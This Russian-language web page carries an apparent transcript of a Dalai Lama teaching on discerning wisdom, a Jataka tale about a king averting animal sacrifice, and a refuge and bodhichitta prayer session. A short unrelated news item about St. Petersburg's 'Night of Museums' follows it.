Например, вы можете думать так: «Если я буду делать физические упражнения, то буду хорошо спать ночью». Для того чтобы прийти к этому выводу, нам опять же требуется различающая мудрость. Мы можем ей пользоваться в повседневной жизни в отличие от животных.

Различающая мудрость служит нам опорой во всех ситуациях. Буддизм подчёркивает ее необходимость для того, чтобы устранить неведение, которое состоит из многих уровней. Одни из них - грубые, другие - более тонкие. Например, существует неведение по отношению к нашим каждодневным действиям - это грубый уровень. Неведение по отношению к событиям будущей жизни - более тонкий уровень. В буддизме различающая мудрость является такой важной, потому что она объясняет нам, каким образом всё желаемое, что есть в этом мире, является следствием достоверного познания.

Достоверное познание напрямую связано с мудростью. Что такое различающая мудрость и что такое достоверное познание? Это определённые ментальные состояния, которые позволяют нам постичь реальность, не впадая в преувеличение, а также в крайности нигилизма или этернализма. Например, в тибетском языке существует более ста самых разных переводов буддийского учения. Для чего нам нужны все эти канонические тексты? Для чего нам нужно более ста томов переводов трудов индийских наставников? Всё это необходимо для того, чтобы посмотреть на буддийскую философию с разных точек зрения, чтобы взрастить различающую мудрость. Если бы было достаточно одних молитв, если бы только они могли привести нас к достижению цели, зачем нужны были бы эти многотомные сочинения?

Когда мы говорим о буддийском учении, например, о Прибежище в Дхарме, мы должны понимать, что такое Дхарма. Дхарму нужно понимать в контексте ментальной реализации и очищения своего ума от негативности. Вот эти два аспекта и являются настоящим Прибежищем. Драгоценность Сангхи - это то, что помогает нам в постижении Дхармы. Если вы начнёте анализировать Дхарму на более глубоком уровне, то поймете, что она имеет признаки изменчивости, трансформации. Здесь мы говорим о трансформации негативных эмоций в позитивные. Каким образом мы можем трансформировать свой ум? Конечно не только с помощью молитв, но с помощью взращивания позитивных состояний ума, которые основаны на знании реальности, на мудрости, которая способна проникнуть в суть истинной природы явлений. Только так мы можем избавиться от негативных состояний ума, таких как неведение.

Размышляя таким образом, мы приходим к выводу, что не случайно в буддизме так много говорится о необходимости изучения Дхармы для развития мудрости. Именно поэтому, оказавшись в изгнании, мы так много говорили о необходимости интенсивного обучения буддизму. Мы ввели дополнительные программы в монастырских университетах, более того мы ввели глубинные философские занятия в женских монастырях. И сегодня, благодаря этим усилиям, мы можем видеть результаты. Мы видим, что даже монахини сегодня достигают достаточно глубоких уровней постижения буддийской философии. Являетесь вы монахом или нет, вы должны обязательно изучать буддизм. Разница между монахом и мирянином заключается в том, что у монахов есть обеты, у мирян же их нет. Но при этом и монахи, и миряне нуждаются в изучении Дхармы. Мы обычно говорим, что если человек проявляет решимость, то даже будучи мирянином, он сможет достичь Нирваны. Но если человек - даже монах или отшельник в затворничестве - не проявляет решимости и упорства, то он лишь накопит причины для рождения в аду. Вне зависимости от того, кем вы являетесь, монахом или мирянином, вы должны стараться глубоко анализировать Дхарму для того, чтобы действительно понять, насколько удивительно это Учение. Если вы начинаете практиковать Дхарму, придя к этому выводу, то ваша практика будет правильной.

Мы считаем, что глубокое изучение Дхармы является очень важным. Вы можете обсуждать Дхарму, собираясь группами, вы можете читать дхармические тексты - это то, что является для нас основополагающим моментом здесь, в изгнании. Те из вас, кто пришёл из Тибета, должны знать, что акцент мы ставим именно на этом.

Однажды в одной семье во времена Будды отец состарился, он дожил до семидесятилетнего возраста. В какой-то момент он почувствовал, что дети смотрят на него свысока, желая от него избавиться; ему было так грустно, что он хотел уйти из жизни. Но затем он решил стать монахом. Причиной, по которой он принял такое решение, являлось не стремление достичь состояния Будды, но трудности, которые он терпел в своей семье. Отправившись в монастырь, старец попросил опытных монахов посвятить его в монашество, но те отказались, сказав: «Ты уже такой старый, что тебе нет никакого смысла становиться монахом». Тогда он ещё больше расстроился и обратился к самому Будде: «Даже пожилые монахи не проявляют ко мне доброты, они отказываются помочь мне». Тогда Будда ответил: «Не беспокойся, в тебе есть семя, которое позволит тебе стать монахом». И Будда наказал опытным монахам посвятить этого старца в монахи. Старец начал прилагать усилия на пути и, в конце концов, достиг высоких духовных реализаций. Поэтому сколько бы вам ни было лет, вы не должны впадать в уныние.

Это очень хороший пример: он показывает, что даже если вы умрёте завтра, нужно размышлять, нужно посвящать себя духовной практике, нельзя впадать в уныние. Иначе вы никогда не достигните желаемого, говорим мы о мирских целях или о целях духовных. В тексте «Высший континиум» говорится: «У каждого живого существа есть природа Будды». Также в тексте Шантидевы «Бодхичарья-аватара» говорится: «Даже маленькое насекомое, такое как муха, обладает потенциалом достижения состояния Будды». Поэтому никто из нас не должен впадать в уныние, мы все должны прилагать усилия на пути.

Тибетцы - это нация, которая обладает особой решимостью. Очень важно для вас вне зависимости от того, сколько вам лет, прилагать усилия в учёбе и практике. Если вы будете так поступать, без сомнения вы достигните желаемого. Это было краткое введение в буддизм.

А сейчас перейдём к историям из жизни Будды Шакьямуни, когда он был ещё Бодхисаттвой, а не Буддой. Мы закончили девятую главу и сегодня зачитаем десятую. В тексте говорится, что человек, который обладает добродетельными помыслами, не должен никогда устремляться в сторону неблагого. Что такое благие помыслы? В их основе лежит реалистичная картина мира. Это должен быть очень прочный фундамент, который не могут пошатнуть негативные эмоции.

Будда Шакьямуни был ещё Бодхисаттвой, когда однажды обрёл рождение в царской семье. Все его подданные относились к нему с огромным почтением, совершали простирания и любили его от всего сердца. Он обладал ненасильственным образом мышления и никогда не прибегал к насилию. У него были удивительные качества: он не испытывал привязанности ни к чему хорошему, даже к собственным благим качествам. Он всегда устремлялся к труду во благо других живых существ. В то время этот Бодхисаттва, будущий Будда Шакьямуни, шёл в одиночку по пути к высшему Просветлению.

Он был добродетельным царём, способным оказать самое позитивное воздействие на всех своих подданных, потому что он был очень спокойным и миролюбивым. Глядя на него, люди развивали в себе глубинный альтруизм и придерживались высокой нравственной дисциплины. Так царь оказывал благотворное влияние на своих подданных, и подданные отвечали ему тем же, проявляли доброту по отношению друг к другу.

Но настал момент, когда проявилась негативная коллективная карма, накопленная подданными в предшествующих рождениях - настала сильнейшая засуха. Люди очень страдали от ее последствий, и царь понял, что всё это является результатом коллективной негативной кармы, которую его подданные накопили в одной из прошлых жизней. Тогда царь начал обсуждать сложившуюся ситуацию со своими министрами. Он стал думать о том, как им выйти из этой критической ситуации и победить засуху. Один из министров предложил принести в жертву животных для того, чтобы усмирить божеств, которые контролируют погоду и урожай. В прежние времена в Индии жертвоприношения животных были широко распространены. Однажды я видел фильм из провинции Амдо, где показывались жертвоприношения животных. Возможно, это является следствием наших добуддийских верований. В Гималайском регионе также встречаются жертвоприношения животных. Какое-то время эта практика была широко распространена.

Услышав это предложение совершить убийство, царь испытал величайшее сострадание по отношению ко всем формам жизни. Однако он не ответил им отказом, решив избежать прямого ответа. Министры продолжали утверждать, что засуха возникла, потому что духи недовольны поведением людей. Следовательно, по их мнению, спасением может быть отнятие жизни у животных, которые принесут духам радость, и те пошлют дожди. Царь был очень недоволен, но не подал вида: он не последовал совету министров, но и не отверг его, потому что, если бы царь отверг это предложение напрямую, то старейшины и министры были бы разочарованы и дистанцировались бы от него.

Царь решил прибегнуть к очень искусным средствам. Он сказал: «Знаете, пожалуй, вы правы. Возможно, мы проведём жертвоприношение, но вместо того, чтобы убивать бедных животных, почему бы нам не убить людей? Мы убьём тысячу человек для того, чтобы совершить подношение божествам, влияющих на погоду». Так он решил. Он попросил своих министров: «Приготовьтесь к жертвоприношению. Мне нужна тысяча человек, которых мы принесём в жертву».

Тогда министры, которые настаивали на этом предложении, пришли в уныние: им было очень неудобно думать о том, что их царь намеревается убить тысячу человек. И они решили внести встречное предложение. «Зачем нам убивать так много людей сразу? - сказали они царю. - Это никому не понравится, возможно, люди восстанут против нас. Такая новость внесёт большую смуту. Даже учёные мужи испытают большое разочарование, когда узнают о том, что царь собирается убить тысячу человек. Давайте сделаем это постепенно».

И царь-Бодхисаттва сказал: «Вы правы. Когда я сказал, что собираюсь убить тысячу человек для того, чтобы совершить жертвоприношение, то не собирался убивать хороших, беззащитных людей, потому что они не совершили ничего дурного. Нет никакой причины убивать людей, которые ведут добропорядочный образ жизни».

Представьте себе, какую сильную боль испытывает живое существо в момент убийства. Ведь если мы даже убиваем животное, то остальные животные, стоящие рядом, чувствуют огромное беспокойство. Что же говорить о людях? Мы убиваем так много живых существ только для того, чтобы есть мясо. Ради мяса мы готовы отнимать жизнь у многих животных. Это очень печально.

Такими же мыслями руководствовался Бодхисаттва, когда говорил, что нет никакой причины убивать людей, не сделавших ничего дурного. «Я должен убить тех, кто совершил тяжёлые злодеяния, - сказал он. - Я хочу, чтобы вы нашли тысячу человек, совершивших тяжелейшие злодеяния, нарушающих законы. Именно их жизни я поднесу духам погоды».

Косвенным образом Бодхисаттва говорил своим подданным о том, что не нужно совершать неблагих деяний. Китайские коммунисты безо всяких размышлений убивают тысячи людей, которые совершили какие-то ничтожные преступления. Затем царь-Бодхисаттва отправил своих министров на поиски преступников. Он приказал им обойти всё королевство вдоль и поперёк для того, чтобы найти таких людей.

Но поскольку никто не хотел стать жертвой, все люди, которые населяли это королевство, вели себя очень хорошо, пребывали в гармонии друг с другом, были щедрыми и добрыми. И даже те, кто прежде конфликтовал, под влиянием страха вновь подружились: так сильно они боялись, что их принесут в жертву. Мир и гармония воцарились во всём королевстве. Подданные царя начали основывать благотворительные дома, куда могли приходить бедные люди за подаянием. Царь был очень доволен. Он увидел огромные перемены в своём государстве. И когда его просили о помощи, он с удовольствием лично давал подаяние бедным людям и всюду проявлял щедрость.

Поскольку жители королевства совершали только добродетельные поступки, они накопили огромные заслуги. Заслуга эта была такой огромной, что вскоре пошёл дождь, и засуха отступила.

Итак, мы помним о том, что всё началось с того, что министры предложили совершить жертвоприношение животных. Однако царь не последовал этому совету, но применил искусные средства. Он использовал предложение министров для того, чтобы усилить нравственность в своём государстве, чтобы направить своих подданных на путь совершения благих деяний. И в конечном итоге это привело к тому, что погода улучшилась, пошёл дождь, подданным стало проще зарабатывать себе на жизнь. Вывод из этой истории таков: царь применил искусные средства, потому что он полагался на различающую мудрость. Благодаря различающей мудрости, Бодхисаттва обратил дурной совет министров во благо. Желаемые результаты могли быть достигнуты только с помощью благих деяний, но не с помощью жертвоприношения животных.

Пока Будда Шакьямуни был Бодхисаттвой, его ум целиком и полностью устремлялся к благому. Он относился с большим почтением ко всем формам жизни. Когда Будда Шакьямуни шёл по пути, на протяжении многих жизней он накапливал мудрость и заслуги. Что помогало ему? Ему помогала Бодхичитта - желание достичь Просветления ради счастья всех живых существ. И к этому добавлялась различающая мудрость. Развитие Бодхичитты и различающей мудрости не является чем-то бесплодным. Это то, что приводит нас к высшему состоянию Просветления, к высшей цели. В действительности, основная идея здесь следующая: все омрачения, которые есть у нас, являются временными, и их можно устранить. Духовная реализация, прекращение страданий и избавление от омрачений - это то, чего мы можем достичь, следуя постепенным путём. Мы можем очистить свой ум от загрязнений, мы можем развить в себе различающую мудрость, именно таким образом мы достигаем состояния Просветления - состояния высшего совершенства.

 

Учение Далай-ламы по молитве Прибежища и порождению Бодхичитты

Из учения Далай-ламы по текстам Шантидевы «Бодхичарья-аватара» и Далай-ламы III «Ламрим – чистое золото». Часть 3.

Если вы проанализируете свой ум и попытаетесь ответить на вопрос «что это такое?», то придёте к выводу, что объяснить, в чем именно заключается его природа очень сложно. Природа нашего ума - это способность постигать реальность, различать и познавать тот или иной объект, как и природа воды заключается в том, чтобы быть влажной. Наш ум способен проникать в суть явлений, и нам необходимо усиливать это качество, которое присутствует в нем на уровне инстинкта. Таким образом, мы постепенно придем к всеведению - состоянию, в котором мы сможем мгновенно, незамедлительно постигать сущность всех без исключения предметов и явлений.

И как же нам усилить в себе эту различающую мудрость? Нам нужно поразмышлять о том, каким образом проявляются загрязнения нашего ума. Прежде всего, это происходит оттого, что мы цепляемся за реальное существование предметов и явлений. Это цепляние мы должны искоренить. Только при этом условии мы уничтожим все без исключения негативные эмоции, в основе которых лежит подобное цепляние. Эти эмоции не являются врождёнными качествами нашего ума.

Будда, преподавший это удивительное учение, достиг полного Просветления в Бодхгайе. Каким образом Будда достиг этого состояния? По этому вопросу существуют различные интерпретации. В соответствии с Вайбхашикой, низшей школой, этот человек родился принцем Сиддхартхой. После того, как он уже прошёл множество духовных путей, на последней стадии развития он являлся Бодхисаттвой. Приложив огромные усилия, он достиг состояния Будды под деревом Бодхи.

В соответствии же с объяснением традиции Махаяны Будда пребывал в сфере пустоты и из сферы пустоты проявлял бессчётное количество эманаций. Одной из его эманаций и был принц Сиддхартха - Бодхисаттва, шедший по пути и достигший состояния Будды под деревом Бодхи в Бодхгайе. В соответствии со второй интерпретацией мы имеем дело всего лишь с кажущимися явлениями. Это был не реальный человек, а Будда. На протяжении бесчисленных кальп он был Просветленным и лишь послал свою эманацию.

В «Пяти стадиях высшей йогатантры» Нагарджуны цитируется одна Сутра. Там говорится, что Будда сначала шёл путём Сутры и достиг десятой ступени Бодхисаттвы. Затем он пребывал в глубокой медитации, в однонаправленном сосредоточении.

И далее в тексте говорится, что следуя только по пути Сутры невозможно достичь полного Просветления. Какой же путь предлагает буддийское учение? Необходимо задействовать тонкий ум ясного света, проявить его, предварительно искоренив грубые формы ума. Как только нам удаётся задействовать тонкий ум ясного света, проявляется иллюзорное тело, а затем - тело неучения более, что является синонимом состояния Будды. И далее Нагарджуна говорит: «Бодхисаттва, осознав весь этот процесс, сумел задействовать тонкий ум ясного света и достиг состояния единства неучения более, что является синонимом полного Просветления». Итак, нам необходимо понять все причины, которые приводят нас к достижению состояния всеведения, состоянию тела эманации Будды.

В этом храме наверху есть изображение Будды Шакьямуни, и у меня за спиной также есть его изображение. Мы все должны представлять Будду Шакьямуни как живое существо. Представьте себе, что он присутствует здесь и является свидетелем происходящего. Его окружают великие Архаты, семь хранителей трона, великие индийские наставники, такие как Нагарджуна - его духовные сыновья, и великие китайские мастера. В Китай буддизм пришёл раньше, чем в Тибет. Великие китайские мастера, а также буддийские наставники из Кореи, Вьетнама, которые всходили на ступени Бодхисаттвы, внесли огромный вклад в развитие буддийской Дхармы.

Впоследствии буддизм появился в Тибете потому, что Будда сказал: «Моя традиция будет распространяться на север». Из Тибета буддизм пришёл в Монголию. Представьте себе великих тибетских буддийских учителей самых разных традиций: Гелуг, Сакья, Кагью, Ньингма, что все они являются объектом Прибежища и источником накопления заслуг. Вы мысленно представляете себе это Поле заслуг - Будду Шакьямуни в окружении величайших буддийских наставников. Визуализируйте всех живых существ, число которых беспредельно как пространство, и все мы равны в том, что желаем счастья и не хотим страданий, в том, что у нас есть общая природа Будды, что мы обладаем потенциалом к достижению четырёх тел Будды. Думайте так: «Пусть я сумею достичь Просветления ради счастья всех живых существ». Тибетцы сейчас должны вознести особые молитвы, подумав так: «Пусть все китайцы, населяющие Китай, взрастят в себе различающую мудрость и смогут прийти к полному Просветлению».

Сейчас мы прочтём семичленную молитву, которая начинается с простираний на уровне тела, речи и ума. Мы можем делать поклоны при помощи тела, а также на уровне речи - восхвалять Будд и Бодхисаттв и на уровне ума - порождать веру. Всё это - формы совершения простираний перед Буддами и Бодхисаттвами на трёх уровнях: тела, речи и ума. Следующая часть молитвы - подношения Буддам и Бодхисаттвам. Мы представляем себе всевозможные предметы: всё то, что принадлежит нам, а также все те объекты и предметы подношения, которые нам не принадлежат, например, вселенная, и всё то, что возникает вследствие коллективной кармы живых существ, которые населяют этот мир. И затем, мы раскаиваемся в совершении негативных деяний. Когда мы говорим о раскаянии, то, прежде всего, оно имеет отношение к негативным эмоциям, к свойственным нам омрачениям.

Если вас окружает бессчётное число врагов, но вы пребываете в мире с собой, ваш ум спокоен, то в этом случае все они окажут на вас ничтожное воздействие и не смогут поколебать вашего внутреннего мира и покоя. Несколько десятилетий назад во время культурной революции в Тибете китайцы убили очень много буддийских учёных-монахов. Они арестовали и собирались убить одного из монахов из монастыря Таши Кхил. Прежде чем в него выстрелили, он прочёл молитву: «Пусть все негативные проявления всех живых существ обрушатся на меня и пусть я смогу поделиться своими благими деяниями и помыслами со всеми. Пусть все живые существа пребывают в счастье, пусть все страдания достанутся мне одному». Он прочитал эту молитву, и после китайцы застрелили его. Если человек очень мирный, спокойный, добрый, то даже на пороге чудовищной смерти он не утратит мужества и не будет испытывать тоску и беспокойство. А если у вас нет внутреннего покоя, то даже если вас окружают любимые люди, члены вашей семьи, всё равно в вашем уме не будет счастья.

Если мы подумаем о негативных эмоциях, то поймем, что очень часто полагаемся на привязанность, когда хотим обрести желаемое и наоборот, полагаемся на гнев и неведение, когда хотим избежать нежелательного. Мы находимся под влиянием этих трёх ядов ума. Сейчас, помня об этом, мы раскаиваемся в негативных деяниях и, прежде всего в трёх ядах ума - в свойственных нам омрачениях. Следующая часть семичленной молитвы - это сорадование благим деяниям и добродетелям других существ. Прежде всего, мы радуемся тому, что у Бодхисаттв, Архатов, Архатов-героев и Архатов-пратьимокши есть Бодхичитта и мудрость, постигающая пустоту. Мы сорадуемся тем благим деяниям и добродетелям, которые есть у них, а также добродетельным поступкам таких же людей, как мы с вами, тех людей, которые окружают нас прямо сейчас, тех людей, которые совершают обходы вокруг храмов, читают мантры, накапливают добродетельные поступки подобным образом. Вот так мы сорадуемся. И дальше мы просим Будд дать живым существам учение, наставления по Дхарме. Затем просим Будд и Бодхисаттв не уходить в нирвану, то есть всегда оставаться с живыми существами, чтобы им помогать. И, наконец, мы посвящаем свои заслуги тому, чтобы все живые существа достигли Просветления: мы не думаем только о достижении Просветления для себя одного, о благах этой жизни, но думаем о счастье всех живых существ. Размышляя подобным образом, мы сейчас читаем семичленную молитву.

Для того чтобы породить в себе Бодхичитту, нам нужно сначала обратиться к Прибежищу в контексте Махаяны. Есть один стих, где говорится: «Я обращаюсь за Прибежищем к Будде, Дхарме и Сангхе, пока не достигну Просветления». Здесь мы обращаемся к Прибежищу в Трёх Драгоценностях с точки зрения традиции Махаяны. Будда является общим для Хинаяны и Махаяны, но Дхарма, о которой мы здесь говорим, - это Дхарма, связанная с Махаяной. То же самое касается и Сангхи. Сейчас мы думаем о Будде, Дхарме и Сангхе в контексте Махаяны. Почему мы обращаемся за Прибежищем к Трём драгоценностям? Потому что мы желаем достичь состояния Просветления, которого достиг сам Будда Шакьямуни, и должны помнить об этом.

Слова, которые мы будем использовать, - это слова взращивания Бодхичитты: «Будды и Бодхисаттвы десяти сторон света, пожалуйста, услышьте меня. Я, такой-то по имени, с сегодняшнего дня и до достижения полного Просветления обращаюсь за Прибежищем к Будде - высшему учителю. Мой Учитель, я, такой-то по имени, с сегодняшнего дня и до достижения полного Просветления обращаюсь за прибежищем к Дхарме - высшей форме прекращения привязанности. О, мой Учитель, я обращаюсь за прибежищем к Сангхе Бодхисаттв, которые не сойдут с пути». Это обращение за Прибежищем к Будде, Дхарме и Сангхе нужно повторить трижды.

Следующее - порождение Бодхичитты. Обычно мы говорим: «Пусть с помощью щедрости и других совершенств я смогу достичь полного Просветления». В обыденной жизни мы слишком озабочены своим собственным личным счастьем, думая только о самом себе. Однако мы должны задаться целью расширить наш кругозор, наш способ мышления. И вот мы берём и увеличиваем этот фокус. Мы говорим «мы», например, «мы, тибетцы», вместо «я, тибетец». Затем мы расширяем все больше и говорим: «мы, азиаты» или «мы, жители этого мира». И далее: «мы, все живые существа», или «мы, обитатели всей вселенной». Или если наша молитва всеобъемлюща, например, мы говорим: «все без исключения живые существа, которые населяют разные вселенные», то наш ум становится шире. Его объектом становится бессчётное множество живых существ, населяющих все вселенные, и цель, к которой мы устремляемся, становится тоже великой, очень большой целью.

Мы хотим достичь состояния Будды, состояния высшего Просветления, совершенного состояния. И те качества, к которым мы устремляемся, такие обширные, такие безграничные. Мы устремляемся к этому обширному всепронизывающему сознанию, которое заботится обо всех живых существах, где бы они не находились. Такой альтруизм заставляет нас думать следующим образом: «Если мне придётся ради одного-единственного живого существа переродиться в аду, я с удовольствием сделаю это». Такое сильное альтруистическое намерение сейчас должно породиться в нас, что даёт нам возможность накопить огромные заслуги. Если же мы настроены эгоистично, то сейчас нам необходимо прорваться через завесу эгоизма и включить в круг своей заботы всех живых существ. Тогда будет смысл в тех словах, которые вы обычно говорите: «Пусть с помощью щедрости и других парамит я смогу достичь Просветления ради счастья всех живых существ». Вы должны внимательно и подробно размышлять о том, что такое Бодхичитта. Думайте так: «Безусловно, я достигну Просветления, безусловно, я буду совершать практики, ведущие меня к полному Просветлению». Сейчас вам нужно породить в своём сердце мужество, которое позволит вам думать таким образом.

Сейчас сядьте на одно колено. Те из вас, у кого больные ноги, могут сесть удобно. Как мы говорили ранее, нужно сосредоточиться на Бодхичитте, которая заставляет вас думать о других больше, чем о самом себе. Бодхичитта, которую породил в себе Будда Шакьямуни, - это высшее качество, которое есть в нём, потому что именно Бодхичитта позволила ему достичь собственных целей и целей всех живых существ. Будда Шакьямуни, всеми уважаемый Учитель, достиг высшего состояния Будды благодаря практике Бодхичитты. Его уважают не потому, что он был царевичем, сыном правителя. Подобным же образом великие наставники, такие как Нагарджуна, изложили практики, которыми они занимались, в своих текстах, таких как «Драгоценная гирлянда» и другие. И благодаря Бодхичитте эти Учителя смогли достичь высших состояний, которыми они поделились с нами в своих трудах.

На сегодняшний день мы являемся очень удачливыми существами, потому что родились в человеческом теле, встретились с Дхармой и очень чистой традицией университета Наланда. «Так же, как и великие Учителя прошлого применяли на практике эти великие учения, взращивали Бодхичитту, я сумею породить в себе Бодхичитту и займусь этими практиками. Будды и Бодхисаттвы, пребывающие в десяти сторонах света, пожалуйста, слушайте меня, мой Учитель, пожалуйста, слушайте меня. Я, такой-то по имени, в этой и других жизнях практиковал щедрость и медитацию, а также другие парамиты, и побуждал других к их применению. Подобно тому, как Будды прошлого шли по пути, как великие Бодхисаттвы порождали Бодхичитту, я, такой-то по имени, с сегодняшнего дня и до Просветления сумею породить в уме устремлённую к Пробуждению Бодхичитту. Я сумею освободить тех, кто не освобождён, спасу тех, кто не спасён, избавлю тех, кто не избавлен. Я приведу к Нирване всех живых существ, ещё не пришедших к ней».

Во время следующего повторения думайте о том, что все Будды и Бодхисаттвы находятся перед вами, и вы собираетесь принять их в качестве примера и будете уподобляться им. «Я посвящу все свои заслуги достижению полного Просветления ради счастья всех живых существ. Будды и Бодхисаттвы десяти сторон света, пожалуйста, слушайте меня. Я, такой-то по имени, какие бы благие деяния я не совершил в этой и следующих жизнях, щедрость, нравственное поведение и так далее, а также все деяния, к которым побуждал других, подобно тому, как великие Будды и Бодхисаттвы прошлого порождали ум, устремлённый к Просветлению, я также сумею породить в себе устремление к Просветлению».

Во время третьего повторения мы думаем о том, что мы получили человеческое рождение, что нам очень повезло, что мы услышали о существовании Бодхичитты - состояния, в котором мы думаем о других больше, чем о самом себе, и что у нас есть возможность её практиковать. Мы узнали о том, что есть закон взаимозависимого возникновения. В соответствии с этим принципом, чем больше вы помогаете другим, тем большую пользу извлекаете сами. Вы будете счастливы как в кратковременной, так и в долговременной перспективе. Вас ждёт прочное, нерушимое счастье.

Из всевозможных практик нет ничего выше, чем практика Бодхичитты, согласно которой других существ мы ставим выше себя самого. Это практика, которой придерживаются Будды и Бодхисаттвы. Вместо того чтобы подносить бесчисленное количество даров Буддам и Бодхисаттвам, лучше зародить в себе Бодхичитту - она превосходит все возможные подношения. Мы также можем совершать практику Ваджрасаттвы для очищения кармы, но всё же нет ничего выше, чем практика взращивания мудрости постижения пустоты. Если каждый день утром вы можете думать о Бодхичитте - состоянии ума, в котором мы можем уделять другим больше внимания, чем себе, и думать: «Если я буду порождать Бодхичитту, тогда моя жизнь будет исполнена глубокого смысла». Каждое утро думайте об этом, думайте о Бодхичитте, о том, как важно заботиться о других больше, чем о самом себе. Думайте так, пока слёзы не потекут из ваших глаз. Пообещайте себе: «Я обязательно сумею породить в себе Бодхичитту, я достигну состояния Будды ради счастья всех живых существ и ни за что на свете не отступлю от Бодхичитты». Так вы берёте на себя определенные обязательства.

Те из вас, кто не может пообещать, что никогда не отступит от Бодхичитты, думайте о том, что будете стараться следовать примеру Бодхисаттвы, подражать Бодхисаттвам насколько это возможно, что никогда не причините вреда никому, даже маленькому насекомому. «Пусть Бодхичитта породится там, где она еще не породилась, а где породилась, пусть постоянно приумножается. Пока существует пространство, пока существуют живые существа, пусть и я остаюсь, чтобы избавлять от страдания всех живых существ». На этом мы закончили зарождение вдохновенной Бодхичитты. Те тибетцы, которые возвратятся на родину, читайте эти стихи обращения за Прибежищем ежедневно и старайтесь думать о том, что я сказал. Если вы сможете думать об одной этой маленькой строфе, то увидите, что эти четыре строчки заключают в себе всё учение Будды.

Однажды тибетцы попросили меня дать учение по этой молитве Прибежища. Я очень обрадовался и сказал: «Вы действительно понимаете учение Будды». Если вы счастливы, то читайте эту молитву и размышляйте; если вы в плохом настроении, то тогда гораздо труднее сосредоточиться на молитве. Когда светит солнышко и мы не голодны, то ведём себя как практикующие Дхарму. Мы можем говорить: «Пусть я смогу достичь Просветления ради счастья всех живых существ, моих матерей», но когда мы оказываемся в трудной ситуации, в самом центре конфликта, то имеем склонность забывать о Дхарме. Мы начинаем сражаться или обманывать. Это указывает на то, что мы не являемся настоящим практиком Дхармы. Когда вы оказываетесь в сложной ситуации, то вдруг переходите в своё обыденное состояние ума. Это говорит о том, что как практики мы чрезвычайно слабы.

Нам так легко сойти с пути, когда нам трудно, и почти не составляет труда быть достойным практиком, когда у нас всё хорошо. Но настоящая проверка для нас - это трудная ситуация, и если мы сохраняем присутствие духа, то можем считать себя настоящим духовным практиком. Если тот, кто является неверующим человеком, совершает негативное действие, то в этом нет ничего удивительного. Но если мы объявляем себя великим духовным практиком, а потом совершаем негативные действия, то это весьма прискорбно. На этом мы закончили утреннюю сессию. Сейчас молитва посвящения заслуг.

По материалам синхронного перевода лекций

картины Майкла и Инессы Гармаш.

Читать далее...

50 городских музеев откроют свои двери перед петербуржцами ночью.

В ночь с 15 на 16 мая в Петербурге состоится общегородская акция «Ночь музеев». 50 музеев, галерей, выставочных залов и библиотек будут открыты с шести вечера до шести утра.

Посетителей ждут специальные программы: авторские экскурсии, выставки одного дня, концерты, спектакли, мастер-классы, театрализованные выступления, исторические реконструкции.

В этом году к акции присоединились 15 новых участников: Музей Арктики и Антарктики, Планетарий, Геологоразведочный музей, Музей гигиены, Музей кошки, три петергофских музея - Музей семьи Бенуа, Музей императорских велосипедов, Музей игральных карт и другие.

В этом году впервые все музеи, без исключения, будут работать по единому билету (в прошлом году принимали посетителей по единым билетам акции только 25 музеев из 47). Цена единого билета не изменится и составит 250 рублей.

Помимо основной программы «Ночи музеев» несколько музеев подготовили самостоятельные акции: 4 площадки откроются для горожан бесплатно, а Государственный Эрмитаж вечером 15 мая пригласит всех желающих в Реставрационно-хранительский центр «Старая Деревня» и Дворец Меншикова.

Перемещаться по городу обладатели единого билета «Ночи музеев» смогут на автобусах, которые будут курсировать всю ночь – с 23:00 до 6:00. Автобусы будут курсировать между музеями ночной программы по 6 маршрутам. Все маршруты пересекаются на Исаакиевской площади, у Исаакиевского собора, где можно будет пересесть с одного маршрута на другой.

Подробную информацию о программах музеев-участников можно посмотреть на официальном сайте «Ночи музеев».

и, если, как обычно бывает накануне что не откроется этот сайт, еще одна ссылка http://peterburg2.ru/events/44224.html